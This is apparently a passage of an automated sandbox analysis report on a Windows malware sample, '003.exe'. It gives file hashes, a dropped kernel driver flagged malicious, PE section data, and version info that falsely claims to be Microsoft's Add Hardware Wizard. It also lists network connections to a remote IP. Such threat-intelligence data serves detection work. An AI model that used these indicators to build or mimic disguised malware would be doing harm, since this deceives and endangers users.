SSDEEP:	98304:0kzqUmnpQcpMqzQhVTbTz1q8xxabaeTRFkXeBfRq8+7nDcnVNI7yyUQ2MGZUuSE3:0kzqUpBsAvZqebgRFkuBfRqf0VNImyUZ
MD5:	9FE5334540F9DD86C9BFD198D5FD59E8
SHA1:	23A27DF9CF7373C2A69667EB7A6622B2AD186DAA
SHA-256:	6A501E714621CA8304926D33ED8CFC89C1F064F69806620A23F5391C03C91A40
SHA-512:	F2C21AF4D81518BB4D818E6E48D098559309C77794EC2768440A2C5E34D6BF6E3773115B074CBCCD1F3AD77A06E6D1CA3B884252E782C0C6E67D5ED00AB36509
Malicious:	false
Preview:	C.C. ....... ....... ....... ...G..y3G.._....}......r......XbcC.f\...Y#.V..P0.....sYOo..P.!..5HtD......7h.w..%..2'6...W$..+-<.{..K......9.......U...%.".O%-.....A....c$....w.^2h..\|`.0..x..Ml....Ro...Q.T..p.<7G.\z:..+.7x.....-3...+.[.....w...i.+;.Y{!.bE..q.9...4.........:......K.D.S.5o...g e......g4).....Sl...D.....G..x.(.a...4.2.'.;~............05T...{.!....7..u.O .t.....h.k..+Tjk8.L..Nf....p....&/!.5c...(.d.$#=..]..{..>.........nE.z.O-.-..II......:....7.I7%2.D.G;BJq.5H..e...?.-5.g~;M....n..F......8-....q..j...u...85..MSd>.d..'...{....{.....[.V..........nH_...t..].'H.8.i...L:....:.H;K....B...Ab.I.T. ....J......e.D.....V...i.#.....cZ[aQ}~~hu.w>..J...........$..H.'...A!....`...d\|6..y.;.R25.M..".;?..I..D.^0/.B#..]..R..=..9Sa....iL..Fqe........(......]L..}.....T8 ..y....6Y....#........Z..h.........)...p...D?.r.....~..J.W..g.......e)b....I.@.$...\\.Yb._..N1i,......e@i....%...=/...V..'>..t._..C1.DQ....+....l.Y....k)n..8I7.`..xF.!..<.~NP....y..GD.\|..

C:\Windows\Temp\y5VWvTdZ_8184.sys

Download File

Process:	C:\Users\user\Desktop\003.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7752896
Entropy (8bit):	7.347062086250347
Encrypted:	false
SSDEEP:	98304:5YFHXuctJ4Vf5TcrdPlSEMOGnXBMzzJ+0A7K+j1QG0dmA4KFoj4FCHh:uHLQVf5ordPPBaXBKzJ+N7a0A4KFv4B
MD5:	136B2B4CC69999006C7C3B7A1A3A9144
SHA1:	B7797B4BCF8F8A5818F74D732B043A608BC0BB61
SHA-256:	C37BF1ABC0662B4F18607E2D7B75F5C600E45EA5604DAFFA54674E2AEBDCE9F0
SHA-512:	7A5741F0F69CD7BA90645FAEB9171A210FE90EED5F96007697E27BA2933373E30DA80700D6E7CA166866EF7F996198706559A33AF0953F6CF2D9C0A56B3AE329
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Joe Sandbox View:	Filename: pGhCMX9vwu.exe, Detection: malicious, Browse Filename: UZPt0hR.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.14920.16794.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.MalwareX-gen.15639.2654.exe, Detection: malicious, Browse Filename: 001.exe, Detection: malicious, Browse Filename: 003.exe, Detection: malicious, Browse Filename: 001.exe, Detection: malicious, Browse Filename: 003.exe, Detection: malicious, Browse Filename: u75a1_003.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......d..........".................d0........................................v.......v......................................................0..<.....v.`....bv.P....<v.......v.h.......................................................P............................text............................... ..h.rdata..............................@..H.data...DD....... ..................@....pdata..............................@..HINIT.........0...................... ..hvs0..... Qq..@...Rq................. ..h.rsrc...`.....v......6v.............@..B.reloc..h.....v......:v.............@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.971031709375456
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	003.exe
File size:	2'007'040 bytes
MD5:	3cf1ad76cc9ee98b2ef901bc43d27e42
SHA1:	6661ccb3bdba15713c4573de6bb6da1340ceb4d8
SHA256:	ee6eb001007a24a393576197ff02b58b6f5c7cd673c3cfa33f6aaa65673a72fb
SHA512:	8207080ec48518f5ea723b452fbcbc489003a944ef65371348adbf068b07e5cde477cc423f8c6c30c6b7a489d677d42e3b4f13742cb6efbb00ae0b3fcf1bedc1
SSDEEP:	49152:t7QbI1SfBPvfzWHB7cOBddYteDWWjQxyu/EZ437e8BIfQR9s1g4y+LTYOtrAI:ZQbYSJPnQ7c4LDW8Qxykpaq9sWWTYOtr
TLSH:	F89523A57B480ABACAE4D3FEE9EF73387F74790448A1B5A55D440B5408924CCB4E6F0E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......g..........#...................%........@..............................C............................................

File Icon


Icon Hash:	36bc383999191903

Static PE Info

General

Entrypoint:	0x140259717
Entrypoint Section:	kh2
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67CEFA14 [Mon Mar 10 14:41:24 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	74224dd151827e33f203b04f96765c8e

Entrypoint Preview

Instruction
call 00007F56E90C593Eh
loop 00007F56E900D996h
add byte ptr [eax], al
stc
outsd
inc edx
add byte ptr [eax], cl
add byte ptr [eax], al
jo 00007F56E900D9D4h
add byte ptr [eax], cl
add byte ptr [eax], cl
jo 00007F56E900D9D4h
add byte ptr [eax], cl
add byte ptr [ecx], al
pop edx
inc edx
add byte ptr [eax], cl
add byte ptr [ecx], cl
pop edx
inc edx
add byte ptr [eax], cl
add byte ptr [edx+ebx*2], cl
inc edx
add byte ptr [eax], cl
add byte ptr [edx+ebx*4+42h], ah
add byte ptr [eax], cl
add byte ptr [eax-66h], dh
inc edx
add byte ptr [eax], cl
add byte ptr [ebx-66h], bh
inc edx
add byte ptr [eax], cl
add dh, al
pop esi
inc edx
add byte ptr [eax], cl
add ch, dl
pop esi
inc edx
add byte ptr [eax], cl
add dl, ah
pop esi
inc edx
add byte ptr [eax], cl
add bh, bh
pop esi
inc edx
add byte ptr [eax], cl
add byte ptr [esi], dl
pop edi
inc edx
add byte ptr [eax], cl
add byte ptr [edi], bl
pop edi
inc edx
add byte ptr [eax], cl
add byte ptr [ecx], bh
pop edi
inc edx
add byte ptr [eax], cl
add byte ptr [eax+5Fh], al
inc edx
add byte ptr [eax], cl
add cl, bh
jnl 00007F56E900D9D4h
add byte ptr [eax], cl
add byte ptr [ebx], al
jle 00007F56E900D9D4h
add byte ptr [eax], cl
add byte ptr [edx], dl
jle 00007F56E900D9D4h
add byte ptr [eax], cl
add byte ptr [esi+edi*2], ah
inc edx
add byte ptr [eax], cl
add byte ptr [ecx+4Ah], bh
inc edx
add byte ptr [eax], cl
add byte ptr [ebp-7Ch], ch
inc edx
add byte ptr [eax], dl
add byte ptr [edi-7Ch], ch
inc edx
add byte ptr [eax], dl
add byte ptr [ecx-7Ch], dh
inc edx
add byte ptr [eax], dl
add byte ptr [esp+eax*4+42h], dh
add byte ptr [eax], dl
add byte ptr [esi-7Ch], dh
inc edx
add byte ptr [eax], dl
add bh, ah
push esp
inc edx
add byte ptr [eax], dl
add ch, ch
call far C470h : 00080042h
inc edx
add byte ptr [eax], cl
add byte ptr [esi+080042C4h], dl
add dl, dl
xchg eax, edi
inc edx
add byte ptr [eax], bl

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x305d30	0x3c	kh2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x430000	0xca9e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x42cd50	0x3090	kh2
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x252000	0x20	kh1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb9c2	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x2a44	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x10000	0x18ba80	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x19c000	0x7c8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
kh0	0x19d000	0xb430c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
kh1	0x252000	0x50	0x200	e56be25b4cf784964d03675042c3360a	False	0.041015625	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kh2	0x253000	0x1dcde0	0x1dce00	27e7a1fc85f915d9483b235af76f5da2	False	0.9828473132372215	data	7.992348786603913	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x430000	0xca9e	0xcc00	19c8a2e55c8b93bd5a0aa766354a154a	False	0.2686121323529412	data	5.069578350633736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x430280	0x1a13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9772284644194756
RT_ICON	0x431c98	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.10657770429853566
RT_ICON	0x435ec0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.14408713692946057
RT_ICON	0x438468	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	English	United States	0.186094674556213
RT_ICON	0x439ed0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.20966228893058161
RT_ICON	0x43af78	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.28401639344262297
RT_ICON	0x43b900	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	English	United States	0.34418604651162793
RT_ICON	0x43bfb8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.3120567375886525
RT_GROUP_ICON	0x43c420	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0x43c498	0x394	data	English	United States	0.4606986899563319
RT_MANIFEST	0x43c830	0x26e	ASCII text, with CRLF line terminators	English	United States	0.5176848874598071

Imports

DLL	Import
KERNEL32.dll	GetCurrentProcess
RPCRT4.dll	RpcAsyncInitializeHandle

Version Infos

Description	Data
CompanyName	Microsoft Corporation
FileDescription	Add Hardware Wizard
FileVersion	10.0.22621.1 (WinBuild.160101.0800)
InternalName	HdwWiz.EXE
LegalCopyright	Microsoft Corporation. All rights reserved.
OriginalFilename	HdwWiz.EXE
ProductName	Microsoft Windows Operating System
ProductVersion	10.0.22621.1
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 11:33:46.033673048 CEST	49694	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.196393967 CEST	80	49694	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.196751118 CEST	49694	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.197659016 CEST	49694	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.360102892 CEST	80	49694	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.360153913 CEST	80	49694	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.361394882 CEST	49694	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.365123987 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.365405083 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.366658926 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.367419958 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.368096113 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.368865013 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.369612932 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.370486975 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.523969889 CEST	80	49694	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.524200916 CEST	49694	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.527996063 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.528037071 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.528091908 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.528135061 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.528520107 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.528644085 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.529175043 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.529256105 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.529345989 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.530086994 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.530175924 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.530512094 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.530577898 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.531251907 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.531374931 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.531516075 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.531584978 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.531830072 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.531951904 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.532007933 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.533015013 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.533077955 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.534178019 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.535947084 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691153049 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691185951 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691415071 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691435099 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691450119 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691468000 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691485882 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691502094 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691514969 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691518068 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691535950 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691550970 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691550970 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691553116 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691570044 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691740990 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691740990 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691869974 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691885948 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691900015 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691916943 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691931963 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691947937 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691956997 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691956997 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691966057 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691982031 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.691982985 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.691999912 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692017078 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692033052 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692049026 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692065001 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692065001 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692065954 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692082882 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692099094 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692115068 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692127943 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692142963 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692157984 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692173004 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692188978 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.692239046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692239046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692239046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692239046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.692239046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.693912983 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694056034 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694073915 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694099903 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694142103 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694158077 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694173098 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694188118 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694204092 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694233894 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694251060 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694255114 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694256067 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694256067 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694267035 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694344044 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694344044 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694356918 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694374084 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694391012 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694431067 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694488049 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694504023 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694518089 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694533110 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694547892 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694564104 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694566011 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694585085 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694593906 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694612026 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694624901 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694664955 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694689035 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694705963 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694715977 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694766045 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694781065 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694788933 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694803953 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694807053 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694813013 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694822073 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694837093 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.694848061 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694866896 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694878101 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.694897890 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.696490049 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696548939 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696593046 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696609020 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696625948 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696675062 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.696675062 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.696706057 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696722984 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696737051 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696753025 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696768999 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696784019 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.696799040 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.696799040 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.696862936 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.698589087 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698631048 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698672056 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698721886 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.698725939 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698745012 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698782921 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698784113 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.698818922 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698858976 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.698863029 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698880911 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698896885 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698915005 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.698921919 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.698957920 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.854284048 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854321957 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854341030 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854414940 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.854680061 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.854687929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854707956 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854815006 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854834080 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854860067 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854875088 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.854875088 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.855038881 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.855036020 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.855115891 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:46.856801033 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.856829882 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:46.856861115 CEST	80	49709	104.168.28.10	192.168.2.5
